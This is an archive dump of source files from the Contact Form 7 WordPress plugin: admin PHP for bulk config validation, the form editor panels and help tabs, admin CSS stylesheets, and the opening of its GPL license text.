		'count_invalid' => 0,
	);

	foreach ( $contact_forms as $contact_form ) {
		$config_validator = new WPCF7_ConfigValidator( $contact_form );
		$config_validator->validate();
		$config_validator->save();

		if ( $config_validator->is_valid() ) {
			$result['count_valid'] += 1;
		} else {
			$result['count_invalid'] += 1;
		}
	}

	WPCF7::update_option( 'bulk_validate', $result );

	$redirect_to = add_query_arg(
		array(
			'message' => 'validated',
		),
		menu_page_url( 'wpcf7', false )
	);

	wp_safe_redirect( $redirect_to );
	exit();
}

function wpcf7_admin_bulk_validate_page() {
	$contact_forms = WPCF7_ContactForm::find();
	$count = WPCF7_ContactForm::count();

	$submit_text = sprintf(
		_n(
			/* translators: %s: number of contact forms */
			"Validate %s contact form now",
			"Validate %s contact forms now",
			$count, 'contact-form-7'
		),
		number_format_i18n( $count )
	);

?>
<div class="wrap">

<h1><?php echo esc_html( __( 'Validate Configuration', 'contact-form-7' ) ); ?></h1>

<form method="post" action="">
	<input type="hidden" name="action" value="validate" />
	<?php wp_nonce_field( 'wpcf7-bulk-validate' ); ?>
	<p><input type="submit" class="button" value="<?php echo esc_attr( $submit_text ); ?>" /></p>
</form>

<?php
	echo wpcf7_link(
		__( 'https://contactform7.com/configuration-validator-faq/', 'contact-form-7' ),
		__( 'FAQ about Configuration Validator', 'contact-form-7' )
	);
?>

</div>
<?php
}
contact-form-7/admin/includes/css/styles-rtl.css000064400000002174147510273060015637 0ustar00/*
 * Tabs
 */
#contact-form-editor-tabs {
	padding: 9px 10px 0 15px;
}

/*
 * Form Tab
 */
.tag-generator-panel {
	text-align: right;
}

.tag-generator-dialog > .close-button {
	right: auto;
	left: 8px;
}

form.tag-generator-panel[data-version="1"] {
	.control-box > fieldset > legend {
		border: 1px solid #dfdfdf;
		border-right: 4px solid #00a0d2;
	}

	.insert-box input.tag {
		float: right;
	}

	.insert-box .submitbox input[type="button"] {
		float: left;
	}
}

/*
 * Mail Tab
 */
.contact-form-editor-box-mail span.mailtag {
	margin: 0 4px 0 0;
}

/*
 * Welcome Panel
 */
.wpcf7-welcome-panel .welcome-panel-close {
	left: 10px;
	right: auto;
	padding: 10px 21px 10px 15px;
}

.wpcf7-welcome-panel .welcome-panel-close::before {
	right: 0;
	left: auto;
}

.wpcf7-welcome-panel .welcome-panel-content {
	margin-right: 13px;
}

.wpcf7-welcome-panel .welcome-panel-column {
	float: right;
 	padding: 0 0 0 2%;
}

/*
 * Integration
 */
.card {
	border-left: 1px solid #e5e5e5;
	border-right: 4px solid #e5e5e5;
}

.card img.icon {
	float: right;
	margin: 8px -8px 8px 8px;
}

.card h2.title {
	float: right;
}

.card .infobox {
	float: left;
}
contact-form-7/admin/includes/css/styles.css000064400000024012147510273060015033 0ustar00#titlediv .inside p.description {
	margin: 8px 2px 0;
}

#titlediv .inside p.description label {
	cursor: pointer;
}

span.shortcode {
	display: block;
	margin: 2px 0;
}

span.shortcode.old {
	background: #777;
	color: #fff;
}

span.shortcode input {
	font-size: 12px;
	border: none;
	box-shadow: none;
	padding: 4px 8px;
	margin: 0;
}

#wpcf7-contact-form-list-table span.shortcode input,
#wpcf7-contact-form-editor span.shortcode input {
	background: transparent;
}

#wpcf7-contact-form-list-table span.shortcode input {
	color: #444;
}

#wpcf7-contact-form-editor span.shortcode input {
	color: #fff;
}

#submitpost input.copy {
	margin-bottom: 10px;
}

#submitpost input.delete {
	padding: 0;
	margin: 0;
	border: none;
	cursor: pointer;
	background: inherit;
	color: #a00;
}

#submitpost input.delete:hover {
	color: #dc3232; /* Red */
}

#submitpost input.delete:focus {
	outline: thin dotted;
}

.postbox-container .postbox h3 {
	border-bottom: 1px solid transparent;
}

div.config-error, span.config-error, ul.config-error {
	color: #444;
	font-style: normal;
	font-size: 13px;
}

ul.config-error {
	margin: 2px 0;
}

ul.config-error li {
	list-style: none;
	padding: 2px 2px;
	margin: 0;
}

#misc-publishing-actions .config-error {
	line-height: 2;
}

[data-config-field][aria-invalid="true"] {
	border-color: #dc3232;
}

#contact-form-editor-tabs li a .icon-in-circle,
#contact-form-editor .config-error .icon-in-circle,
.wp-list-table .config-error .icon-in-circle,
.icon-in-circle {
	display: inline-block;
	vertical-align: baseline;
	margin: 1px 6px 0;
	padding: 0 5px;
	min-width: 7px;
	height: 17px;
	border-radius: 11px;
	background-color: #ca4a1f;
	color: #fff;
	font-size: 12px;
	font-weight: bold;
	line-height: 17px;
	text-align: center;
	z-index: 26;
}

/*
 * Tabs
 */
#contact-form-editor-tabs {
	border-bottom: 1px solid #aaa;
	padding: 9px 15px 0 10px;
	margin: 0;
}

#contact-form-editor-tabs li {
	display: inline-block;
	list-style: none;
	border: 1px solid #ccc;
	border-bottom: 1px solid #aaa;
	padding: 0;
	margin: 0 4px -1px;
	background-color: #e4e4e4;
}

#contact-form-editor-tabs li.active {
	border-top: 1px solid #aaa;
	border-right: 1px solid #aaa;
	border-left: 1px solid #aaa;
	border-bottom: 1px solid #f5f5f5;
	background-color: #f5f5f5;
}

#contact-form-editor-tabs li a {
	padding: 6px 10px;
	font-size: 14px;
	font-weight: normal;
	line-height: 30px;
	color: #333;
	text-decoration: none;
}

#contact-form-editor-tabs li.active a {
	color: #000;
	font-size: 14px;
	font-weight: bold;
}

#contact-form-editor-tabs li a:hover {
	color: #000;
}

#contact-form-editor .contact-form-editor-panel > div.config-error {
	margin-bottom: 1.4em;
}

#contact-form-editor-tabs li.active a .icon-in-circle {
	display: none;
}

#contact-form-editor .contact-form-editor-panel h2 {
	font-size: 18px;
	font-weight: 400;
	line-height: 24px;
	margin: 8px 0;
	padding: 0;
}

#contact-form-editor .contact-form-editor-panel {
	background-color: #f5f5f5;
	border: 1px solid #aaa;
	border-top: none;
	padding: 16px;
}

#contact-form-editor .form-table th {
	width: 100px;
}

#contact-form-editor .contact-form-editor-panel fieldset legend {
	line-height: 1.5;
	margin: .6em 0 .4em;
}

/*
 * Form Tab
 */
#tag-generator-list button {
	font-size: 12px;
	height: 26px;
	line-height: 24px;
	margin: 2px;
	padding: 0 8px 1px;
}

.tag-generator-dialog {
	padding: 12px;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba( 0, 0, 0, 0.04 );
	height: 720px;
	width: 720px;
	overflow: auto;
}

.tag-generator-dialog::backdrop {
	background: rgb( 0 0 0 / 50% );
}

.tag-generator-dialog > .close-button {
	position: absolute;
	top: 8px;
	right: 8px;
}

form.tag-generator-panel {
	display: flex;
	flex-direction: column;
	height: 720px;
	width: 720px;
	max-height: 100%;
	max-width: 100%;
	margin-block-end: 0;
}

form.tag-generator-panel[data-version="2"] {
	&:invalid .mail-tag-tip {
		display: none;
	}

	.description-box {
		box-sizing: border-box;
		flex: none;
		margin-inline: -12px;
		padding-inline: 12px;
		border-bottom: 1px solid #dfdfdf;
	}

	.control-box {
		box-sizing: border-box;
		flex: auto;
		display: flex;
		flex-direction: column;
		gap: 12px 0;
		min-height: 120px;
		overflow: auto;
	}

	.control-box > fieldset {
		margin-block: 8px;
		margin-inline-start: 10em;
		line-height: 2.25;
	}

	.control-box > fieldset > legend {
		font-weight: bolder;
		margin-block: 8px;
		margin-inline-start: -10em;
		line-height: 1.25;
	}

	.control-box input[type="text"] {
		width: 20rem;
		max-width: 88%;
	}

	.control-box input[type="number"] {
		width: 8rem;
		max-width: 44%;
	}

	.control-box textarea {
		height: 12ex;
		width: 20rem;
		max-width: 88%;
	}

	.control-box select {
		width: 20rem;
		max-width: 88%;
	}

	.control-box input:invalid,
	.control-box textarea:invalid {
		background-color: #ffe9de;
	}

	.insert-box {
		box-sizing: border-box;
		flex: none;
		margin-block-end: -12px;
		margin-inline: -12px;
		padding-block: 24px 12px;
		padding-inline: 12px;
		background-color: #fcfcfc;
		border-top: 1px solid #dfdfdf;
	}

	.insert-box .flex-container {
		display: flex;
	}

	.insert-box .flex-container > [data-tag-part="tag"] {
		flex: auto;
		margin-inline-end: 8px;
	}

	.insert-box .mail-tag-tip::before {
		font: 1.2rem dashicons;
		content: "\f348";
		color: #646970;
		padding-inline-end: 4px;
		vertical-align: top;
	}
}

form.tag-generator-panel[data-version="1"] {
	.control-box {
		padding: 0;
		margin: 0;
		overflow: auto;
		flex-grow: 1;
	}

	.control-box > fieldset > legend {
		border: 1px solid #dfdfdf;
		border-left: 4px solid #00a0d2;
		background: #f7fcfe;
		padding: 4px 12px;
		margin: 4px 0;
		line-height: 1.4em;
		width: 100%;
		box-sizing: border-box;
	}

	table {
		width: 100%;
	}

	table.form-table th {
		width: 120px;
		padding: 4px 10px 4px 0;
		font-size: 13px;
	}

	table.form-table td {
		padding: 4px 10px;
		font-size: 13px;
	}

	.control-box input.oneline {
		width: 200px;
	}

	.control-box input.large-text {
		width: 400px;
	}

	.control-box textarea.values {
		width: 200px;
		height: 6em;
	}

	.control-box input[type="number"],
	.control-box input[type="date"] {
		width: 88px;
	}

	.control-box table caption {
		text-align: left;
		font-size: 110%;
		font-weight: bold;
		color: #777;
		margin: 10px 0 5px;
	}

	.control-box table.form-table td label {
		line-height: 1.1em;
	}

	.control-box table.form-table td label .description {
		line-height: 1.4em;
	}

	.insert-box {
		margin: 0 -15px -15px;
		padding: 8px 16px;
		background-color: #fcfcfc;
		border-top: 1px solid #dfdfdf;
		overflow: auto;
	}

	.insert-box input.tag {
		width: 510px;
		float: left;
		background-color: transparent;
		box-shadow: none;
	}

	.insert-box .submitbox {
		padding: 0;
	}

	.insert-box .submitbox input[type="button"] {
		float: right;
	}

	.insert-box .description label {
		cursor: text;
	}
}

/*
 * Mail Tab
 */
.contact-form-editor-box-mail span.mailtag {
	display: inline-block;
	margin: 0 0 0 4px;
	padding: 1px 2px;
	cursor: pointer;
	color: #000;
}

.contact-form-editor-box-mail span.mailtag.used {
	color: #666;
}

.contact-form-editor-box-mail span.mailtag.unused {
	font-weight: bold;
}

/*
 * Messages Tab
 */
#messages-panel p.description {
	margin: 5px 0 10px;
}

/*
 * Tabs for integration modules
 */
#ctct-panel table tr.inactive ~ tr,
#sendinblue-panel table tr.inactive ~ tr {
	display: none;
}

#ctct-panel .dashicons,
#sendinblue-panel .dashicons {
 	text-decoration: none;
}

#ctct-panel td p,
#sendinblue-panel td p {
 	margin-top: 12px;
}

/*
 * List Table
 */
.fixed .column-title {
	width: 38%;
}

.fixed .column-shortcode {
	width: 38%;
}

/*
 * Welcome Panel
 */
.wpcf7-welcome-panel {
	position: relative;
	overflow: auto;
	margin: 16px 0;
	padding: 23px 10px 0;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	background: #fff;
	font-size: 13px;
	line-height: 1.7;
}

.wpcf7-welcome-panel h3 {
	font-size: 16px;
	font-weight: 600;
	line-height: 2.1em;
	margin: 1em 0 1.2em;
}

.wpcf7-welcome-panel h3 .dashicons {
	position: relative;
	top: -2px;
	display: inline-block;
	width: 60px;
	color: #575757;
	font-size: 40px;
}

.wpcf7-welcome-panel p {
	color: #646970;
}

.wpcf7-welcome-panel p a {
	font-weight: bold;
}

.wpcf7-welcome-panel .welcome-panel-close {
	position: absolute;
	z-index: 2;
	top: 10px;
	right: 10px;
	padding: 10px 15px 10px 21px;
	font-size: 13px;
	line-height: 1.23076923; /* Chrome rounding, needs to be 16px equivalent */
	text-decoration: none;
}

.wpcf7-welcome-panel .welcome-panel-close::before {
	background: 0 0;
	color: #787c82;
	content: "\f153";
	display: block;
	font: normal 16px/20px dashicons;
	speak: never;
	height: 20px;
	text-align: center;
	width: 20px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	position: absolute;
	top: 8px;
	left: 0;
	transition: all .1s ease-in-out;
}

.wpcf7-welcome-panel .welcome-panel-content {
	display: block;
	margin-left: 13px;
	max-width: 1500px;
	min-height: auto;
}

.wpcf7-welcome-panel .welcome-panel-column-container {
	clear: both;
	position: relative;
}

.wpcf7-welcome-panel .welcome-panel-column {
	display: block;
	width: 48%;
	min-width: 200px;
	float: left;
	padding: 0 2% 0 0;
	margin: 0 0 1em 0;
}

@media screen and (max-width: 870px) {
	.wpcf7-welcome-panel .welcome-panel-column {
		display: block;
		float: none;
		width: 100%;
	}
}

.wpcf7-welcome-panel .welcome-panel-column p {
	margin-top: 7px;
	color: #3c434a;
}

/*
 * Integration
 */
.card {
	background: #fff none repeat scroll 0 0;
	border: 1px solid #e5e5e5;
	border-left: 4px solid #e5e5e5;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	margin-top: 20px;
	max-width: 520px;
	min-width: 255px;
	padding: 0.7em 2em 1em;
	position: relative;
}

.card.active {
	border-color: #00a0d2;
}

.card img.icon {
	float: left;
	margin: 8px 8px 8px -8px;
}

.card h2.title {
	float: left;
	max-width: 240px;
	font-size: 1.3em;
	font-weight: 600;
}

.card .infobox {
	float: right;
	font-size: 13px;
	color: #666;
	margin: 1em;
	line-height: 1.5;
	max-width: 240px;
}

.card .inside .form-table th {
	padding: 15px 10px 15px 0;
	width: 160px;
}

.card .inside .form-table td {
	padding: 10px 10px;
}

.card .checkboxes li {
	margin: 0;
}
contact-form-7/admin/includes/admin-functions.php000064400000001104147510273060016012 0ustar00<?php

function wpcf7_current_action() {
	if ( isset( $_REQUEST['action'] ) and -1 != $_REQUEST['action'] ) {
		return $_REQUEST['action'];
	}

	if ( isset( $_REQUEST['action2'] ) and -1 != $_REQUEST['action2'] ) {
		return $_REQUEST['action2'];
	}

	return false;
}

function wpcf7_admin_has_edit_cap() {
	return current_user_can( 'wpcf7_edit_contact_forms' );
}

function wpcf7_add_tag_generator( $name, $title, $elm_id, $callback, $options = array() ) {
	$tag_generator = WPCF7_TagGenerator::get_instance();
	return $tag_generator->add( $name, $title, $callback, $options );
}
contact-form-7/admin/includes/editor.php000064400000023713147510273060014214 0ustar00<?php

class WPCF7_Editor {

	private $contact_form;
	private $panels = array();

	public function __construct( WPCF7_ContactForm $contact_form ) {
		$this->contact_form = $contact_form;
	}

	public function add_panel( $panel_id, $title, $callback ) {
		if ( wpcf7_is_name( $panel_id ) ) {
			$this->panels[$panel_id] = array(
				'title' => $title,
				'callback' => $callback,
			);
		}
	}

	public function display() {
		if ( empty( $this->panels ) ) {
			return;
		}

		$active_panel_id = trim( $_GET['active-tab'] ?? '' );

		if ( ! array_key_exists( $active_panel_id, $this->panels ) ) {
			$active_panel_id = array_key_first( $this->panels );
		}

		echo '<nav>';
		echo '<ul id="contact-form-editor-tabs">';

		foreach ( $this->panels as $panel_id => $panel ) {
			$active = $panel_id === $active_panel_id;

			echo sprintf(
				'<li %1$s><a %2$s>%3$s</a></li>',
				wpcf7_format_atts( array(
					'id' => sprintf( '%s-tab', $panel_id ),
					'class' => $active ? 'active' : null,
					'tabindex' => $active ? '0' : '-1',
					'data-panel' => $panel_id,
				) ),
				wpcf7_format_atts( array(
					'href' => sprintf( '#%s', $panel_id ),
				) ),
				esc_html( $panel['title'] )
			);
		}

		echo '</ul>';
		echo '</nav>';

		foreach ( $this->panels as $panel_id => $panel ) {
			$active = $panel_id === $active_panel_id;

			echo sprintf(
				'<section %s>',
				wpcf7_format_atts( array(
					'id' => $panel_id,
					'class' => 'contact-form-editor-panel' . ( $active ? ' active' : '' ),
				) )
			);

			if ( is_callable( $panel['callback'] ) ) {
				call_user_func( $panel['callback'], $this->contact_form );
			}

			echo '</section>';
		}
	}
}

function wpcf7_editor_panel_form( $post ) {
	$desc_link = wpcf7_link(
		__( 'https://contactform7.com/editing-form-template/', 'contact-form-7' ),
		__( 'Editing form template', 'contact-form-7' ) );
	$description = __( "You can edit the form template here. For details, see %s.", 'contact-form-7' );
	$description = sprintf( esc_html( $description ), $desc_link );
?>

<h2><?php echo esc_html( __( 'Form', 'contact-form-7' ) ); ?></h2>

<fieldset>
<legend><?php echo $description; ?></legend>

<?php
	$tag_generator = WPCF7_TagGenerator::get_instance();
	$tag_generator->print_buttons();
?>

<textarea id="wpcf7-form" name="wpcf7-form" cols="100" rows="24" class="large-text code" data-config-field="form.body"><?php echo esc_textarea( $post->prop( 'form' ) ); ?></textarea>
</fieldset>
<?php
}

function wpcf7_editor_panel_mail( $post ) {
	wpcf7_editor_box_mail( $post );

	echo '<br class="clear" />';

	wpcf7_editor_box_mail( $post, array(
		'id' => 'wpcf7-mail-2',
		'name' => 'mail_2',
		'title' => __( 'Mail (2)', 'contact-form-7' ),
		'use' => __( 'Use Mail (2)', 'contact-form-7' ),
	) );
}

function wpcf7_editor_box_mail( $post, $options = '' ) {
	$options = wp_parse_args( $options, array(
		'id' => 'wpcf7-mail',
		'name' => 'mail',
		'title' => __( 'Mail', 'contact-form-7' ),
		'use' => null,
	) );

	$id = esc_attr( $options['id'] );

	$mail = wp_parse_args( $post->prop( $options['name'] ), array(
		'active' => false,
		'recipient' => '',
		'sender' => '',
		'subject' => '',
		'body' => '',
		'additional_headers' => '',
		'attachments' => '',
		'use_html' => false,
		'exclude_blank' => false,
	) );

?>
<div class="contact-form-editor-box-mail" id="<?php echo esc_attr( $id ); ?>">
<h2><?php echo esc_html( $options['title'] ); ?></h2>

<?php
	if ( ! empty( $options['use'] ) ) {
		echo sprintf(
			'<label %1$s><input %2$s /> %3$s</label>',
			wpcf7_format_atts( array(
				'for' => sprintf( '%s-active', $id ),
			) ),
			wpcf7_format_atts( array(
				'type' => 'checkbox',
				'id' => sprintf( '%s-active', $id ),
				'name' => sprintf( '%s[active]', $id ),
				'data-config-field' => '',
				'data-toggle' => sprintf( '%s-fieldset', $id ),
				'value' => '1',
				'checked' => $mail['active'],
			) ),
			esc_html( $options['use'] )
		);

		echo sprintf(
			'<p class="description">%s</p>',
			esc_html( __( "Mail (2) is an additional mail template often used as an autoresponder.", 'contact-form-7' ) )
		);
	}
?>

<fieldset id="<?php echo esc_attr( sprintf( '%s-fieldset', $id ) ); ?>">
<legend>
<?php
	$desc_link = wpcf7_link(
		__( 'https://contactform7.com/setting-up-mail/', 'contact-form-7' ),
		__( 'Setting up mail', 'contact-form-7' ) );
	$description = __( "You can edit the mail template here. For details, see %s.", 'contact-form-7' );
	$description = sprintf( esc_html( $description ), $desc_link );
	echo $description;
	echo '<br />';

	echo esc_html( __( "In the following fields, you can use these mail-tags:",
		'contact-form-7' ) );
	echo '<br />';
	$post->suggest_mail_tags( $options['name'] );
?>
</legend>
<table class="form-table">
<tbody>
	<tr>
	<th scope="row">
		<label for="<?php echo $id; ?>-recipient"><?php echo esc_html( __( 'To', 'contact-form-7' ) ); ?></label>
	</th>
	<td>
		<input type="text" id="<?php echo $id; ?>-recipient" name="<?php echo $id; ?>[recipient]" class="large-text code" size="70" value="<?php echo esc_attr( $mail['recipient'] ); ?>" data-config-field="<?php echo sprintf( '%s.recipient', esc_attr( $options['name'] ) ); ?>" />
	</td>
	</tr>

	<tr>
	<th scope="row">
		<label for="<?php echo $id; ?>-sender"><?php echo esc_html( __( 'From', 'contact-form-7' ) ); ?></label>
	</th>
	<td>
		<input type="text" id="<?php echo $id; ?>-sender" name="<?php echo $id; ?>[sender]" class="large-text code" size="70" value="<?php echo esc_attr( $mail['sender'] ); ?>" data-config-field="<?php echo sprintf( '%s.sender', esc_attr( $options['name'] ) ); ?>" />
	</td>
	</tr>

	<tr>
	<th scope="row">
		<label for="<?php echo $id; ?>-subject"><?php echo esc_html( __( 'Subject', 'contact-form-7' ) ); ?></label>
	</th>
	<td>
		<input type="text" id="<?php echo $id; ?>-subject" name="<?php echo $id; ?>[subject]" class="large-text code" size="70" value="<?php echo esc_attr( $mail['subject'] ); ?>" data-config-field="<?php echo sprintf( '%s.subject', esc_attr( $options['name'] ) ); ?>" />
	</td>
	</tr>

	<tr>
	<th scope="row">
		<label for="<?php echo $id; ?>-additional-headers"><?php echo esc_html( __( 'Additional headers', 'contact-form-7' ) ); ?></label>
	</th>
	<td>
		<textarea id="<?php echo $id; ?>-additional-headers" name="<?php echo $id; ?>[additional_headers]" cols="100" rows="4" class="large-text code" data-config-field="<?php echo sprintf( '%s.additional_headers', esc_attr( $options['name'] ) ); ?>"><?php echo esc_textarea( $mail['additional_headers'] ); ?></textarea>
	</td>
	</tr>

	<tr>
	<th scope="row">
		<label for="<?php echo $id; ?>-body"><?php echo esc_html( __( 'Message body', 'contact-form-7' ) ); ?></label>
	</th>
	<td>
		<textarea id="<?php echo $id; ?>-body" name="<?php echo $id; ?>[body]" cols="100" rows="18" class="large-text code" data-config-field="<?php echo sprintf( '%s.body', esc_attr( $options['name'] ) ); ?>"><?php echo esc_textarea( $mail['body'] ); ?></textarea>

		<p><label for="<?php echo $id; ?>-exclude-blank"><input type="checkbox" id="<?php echo $id; ?>-exclude-blank" name="<?php echo $id; ?>[exclude_blank]" value="1"<?php echo ( ! empty( $mail['exclude_blank'] ) ) ? ' checked="checked"' : ''; ?> /> <?php echo esc_html( __( 'Exclude lines with blank mail-tags from output', 'contact-form-7' ) ); ?></label></p>

		<p><label for="<?php echo $id; ?>-use-html"><input type="checkbox" id="<?php echo $id; ?>-use-html" name="<?php echo $id; ?>[use_html]" value="1"<?php echo ( $mail['use_html'] ) ? ' checked="checked"' : ''; ?> /> <?php echo esc_html( __( 'Use HTML content type', 'contact-form-7' ) ); ?></label></p>
	</td>
	</tr>

	<tr>
	<th scope="row">
		<label for="<?php echo $id; ?>-attachments"><?php echo esc_html( __( 'File attachments', 'contact-form-7' ) ); ?></label>
	</th>
	<td>
		<textarea id="<?php echo $id; ?>-attachments" name="<?php echo $id; ?>[attachments]" cols="100" rows="4" class="large-text code" data-config-field="<?php echo sprintf( '%s.attachments', esc_attr( $options['name'] ) ); ?>"><?php echo esc_textarea( $mail['attachments'] ); ?></textarea>
	</td>
	</tr>
</tbody>
</table>
</fieldset>
</div>
<?php
}

function wpcf7_editor_panel_messages( $post ) {
	$desc_link = wpcf7_link(
		__( 'https://contactform7.com/editing-messages/', 'contact-form-7' ),
		__( 'Editing messages', 'contact-form-7' ) );
	$description = __( "You can edit messages used in various situations here. For details, see %s.", 'contact-form-7' );
	$description = sprintf( esc_html( $description ), $desc_link );

	$messages = wpcf7_messages();

	if ( isset( $messages['captcha_not_match'] )
	and ! wpcf7_use_really_simple_captcha() ) {
		unset( $messages['captcha_not_match'] );
	}

?>
<h2><?php echo esc_html( __( 'Messages', 'contact-form-7' ) ); ?></h2>
<fieldset>
<legend><?php echo $description; ?></legend>
<?php

	foreach ( $messages as $key => $arr ) {
		$field_id = sprintf( 'wpcf7-message-%s', strtr( $key, '_', '-' ) );
		$field_name = sprintf( 'wpcf7-messages[%s]', $key );

?>
<p class="description">
<label for="<?php echo $field_id; ?>"><?php echo esc_html( $arr['description'] ); ?><br />
<input type="text" id="<?php echo $field_id; ?>" name="<?php echo $field_name; ?>" class="large-text" size="70" value="<?php echo esc_attr( $post->message( $key, false ) ); ?>" data-config-field="<?php echo sprintf( 'messages.%s', esc_attr( $key ) ); ?>" />
</label>
</p>
<?php
	}
?>
</fieldset>
<?php
}

function wpcf7_editor_panel_additional_settings( $post ) {
	$desc_link = wpcf7_link(
		__( 'https://contactform7.com/additional-settings/', 'contact-form-7' ),
		__( 'Additional settings', 'contact-form-7' ) );
	$description = __( "You can add customization code snippets here. For details, see %s.", 'contact-form-7' );
	$description = sprintf( esc_html( $description ), $desc_link );

?>
<h2><?php echo esc_html( __( 'Additional Settings', 'contact-form-7' ) ); ?></h2>
<fieldset>
<legend><?php echo $description; ?></legend>
<textarea id="wpcf7-additional-settings" name="wpcf7-additional-settings" cols="100" rows="8" class="large-text" data-config-field="additional_settings.body"><?php echo esc_textarea( $post->prop( 'additional_settings' ) ); ?></textarea>
</fieldset>
<?php
}
contact-form-7/admin/includes/help-tabs.php000064400000015534147510273060014607 0ustar00<?php

class WPCF7_Help_Tabs {

	private $screen;

	public function __construct( WP_Screen $screen ) {
		$this->screen = $screen;
	}

	public function set_help_tabs( $screen_type ) {
		switch ( $screen_type ) {
			case 'list':
				$this->screen->add_help_tab( array(
					'id' => 'list_overview',
					'title' => __( 'Overview', 'contact-form-7' ),
					'content' => $this->content( 'list_overview' ),
				) );

				$this->screen->add_help_tab( array(
					'id' => 'list_available_actions',
					'title' => __( 'Available Actions', 'contact-form-7' ),
					'content' => $this->content( 'list_available_actions' ),
				) );

				$this->sidebar();

				return;
			case 'edit':
				$this->screen->add_help_tab( array(
					'id' => 'edit_overview',
					'title' => __( 'Overview', 'contact-form-7' ),
					'content' => $this->content( 'edit_overview' ),
				) );

				$this->screen->add_help_tab( array(
					'id' => 'edit_form_tags',
					'title' => __( 'Form-tags', 'contact-form-7' ),
					'content' => $this->content( 'edit_form_tags' ),
				) );

				$this->screen->add_help_tab( array(
					'id' => 'edit_mail_tags',
					'title' => __( 'Mail-tags', 'contact-form-7' ),
					'content' => $this->content( 'edit_mail_tags' ),
				) );

				$this->sidebar();

				return;
			case 'integration':
				$this->screen->add_help_tab( array(
					'id' => 'integration_overview',
					'title' => __( 'Overview', 'contact-form-7' ),
					'content' => $this->content( 'integration_overview' ),
				) );

				$this->sidebar();

				return;
		}
	}

	private function content( $name ) {
		$content = array();

		$content['list_overview'] = '<p>' . __( "On this screen, you can manage contact forms provided by Contact Form 7. You can manage an unlimited number of contact forms. Each contact form has a unique ID and Contact Form 7 shortcode ([contact-form-7 ...]). To insert a contact form into a post or a text widget, insert the shortcode into the target.", 'contact-form-7' ) . '</p>';

		$content['list_available_actions'] = '<p>' . __( "Hovering over a row in the contact forms list will display action links that allow you to manage your contact form. You can perform the following actions:", 'contact-form-7' ) . '</p>';
		$content['list_available_actions'] .= '<p>' . __( "<strong>Edit</strong> - Navigates to the editing screen for that contact form. You can also reach that screen by clicking on the contact form title.", 'contact-form-7' ) . '</p>';
		$content['list_available_actions'] .= '<p>' . __( "<strong>Duplicate</strong> - Clones that contact form. A cloned contact form inherits all content from the original, but has a different ID.", 'contact-form-7' ) . '</p>';

		$content['edit_overview'] = '<p>' . __( "On this screen, you can edit a contact form. A contact form is comprised of the following components:", 'contact-form-7' ) . '</p>';
		$content['edit_overview'] .= '<p>' . __( "<strong>Title</strong> is the title of a contact form. This title is only used for labeling a contact form, and can be edited.", 'contact-form-7' ) . '</p>';
		$content['edit_overview'] .= '<p>' . __( "<strong>Form</strong> is a content of HTML form. You can use arbitrary HTML, which is allowed inside a form element. You can also use Contact Form 7&#8217;s form-tags here.", 'contact-form-7' ) . '</p>';
		$content['edit_overview'] .= '<p>' . __( "<strong>Mail</strong> manages a mail template (headers and message body) that this contact form will send when users submit it. You can use Contact Form 7&#8217;s mail-tags here.", 'contact-form-7' ) . '</p>';
		$content['edit_overview'] .= '<p>' . __( "<strong>Mail (2)</strong> is an additional mail template that works similar to Mail. Mail (2) is different in that it is sent only when Mail has been sent successfully.", 'contact-form-7' ) . '</p>';
		$content['edit_overview'] .= '<p>' . __( "In <strong>Messages</strong>, you can edit various types of messages used for this contact form. These messages are relatively short messages, like a validation error message you see when you leave a required field blank.", 'contact-form-7' ) . '</p>';
		$content['edit_overview'] .= '<p>' . __( "<strong>Additional Settings</strong> provides a place where you can customize the behavior of this contact form by adding code snippets.", 'contact-form-7' ) . '</p>';

		$content['edit_form_tags'] = '<p>' . __( "A form-tag is a short code enclosed in square brackets used in a form content. A form-tag generally represents an input field, and its components can be separated into four parts: type, name, options, and values. Contact Form 7 supports several types of form-tags including text fields, number fields, date fields, checkboxes, radio buttons, menus, file-uploading fields, CAPTCHAs, and quiz fields.", 'contact-form-7' ) . '</p>';
		$content['edit_form_tags'] .= '<p>' . __( "While form-tags have a comparatively complex syntax, you do not need to know the syntax to add form-tags because you can use the straightforward tag generator (<strong>Generate Tag</strong> button on this screen).", 'contact-form-7' ) . '</p>';

		$content['edit_mail_tags'] = '<p>' . __( "A mail-tag is also a short code enclosed in square brackets that you can use in every Mail and Mail (2) field. A mail-tag represents a user input value through an input field of a corresponding form-tag.", 'contact-form-7' ) . '</p>';
		$content['edit_mail_tags'] .= '<p>' . __( "There are also special mail-tags that have specific names, but do not have corresponding form-tags. They are used to represent meta information of form submissions like the submitter&#8217;s IP address or the URL of the page.", 'contact-form-7' ) . '</p>';

		$content['integration_overview'] = '<p>' . __( "On this screen, you can manage services that are available through Contact Form 7. Using API will allow you to collaborate with any services that are available.", 'contact-form-7' ) . '</p>';
		$content['integration_overview'] .= '<p>' . __( "You may need to first sign up for an account with the service that you plan to use. When you do so, you would need to authorize Contact Form 7 to access the service with your account.", 'contact-form-7' ) . '</p>';
		$content['integration_overview'] .= '<p>' . __( "Any information you provide will not be shared with service providers without your authorization.", 'contact-form-7' ) . '</p>';

		if ( ! empty( $content[$name] ) ) {
			return $content[$name];
		}
	}

	public function sidebar() {
		$content = '<p><strong>' . __( 'For more information:', 'contact-form-7' ) . '</strong></p>';
		$content .= '<p>' . wpcf7_link( __( 'https://contactform7.com/docs/', 'contact-form-7' ), __( 'Docs', 'contact-form-7' ) ) . '</p>';
		$content .= '<p>' . wpcf7_link( __( 'https://contactform7.com/faq/', 'contact-form-7' ), __( 'FAQ', 'contact-form-7' ) ) . '</p>';
		$content .= '<p>' . wpcf7_link( __( 'https://contactform7.com/support/', 'contact-form-7' ), __( 'Support', 'contact-form-7' ) ) . '</p>';

		$this->screen->set_help_sidebar( $content );
	}
}
contact-form-7/license.txt000064400000046070147510273060011503 0ustar00Contact Form 7 WordPress Plugin, 2007-2025 Takayuki Miyoshi
Contact Form 7 is distributed under the terms of the GNU GPL

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
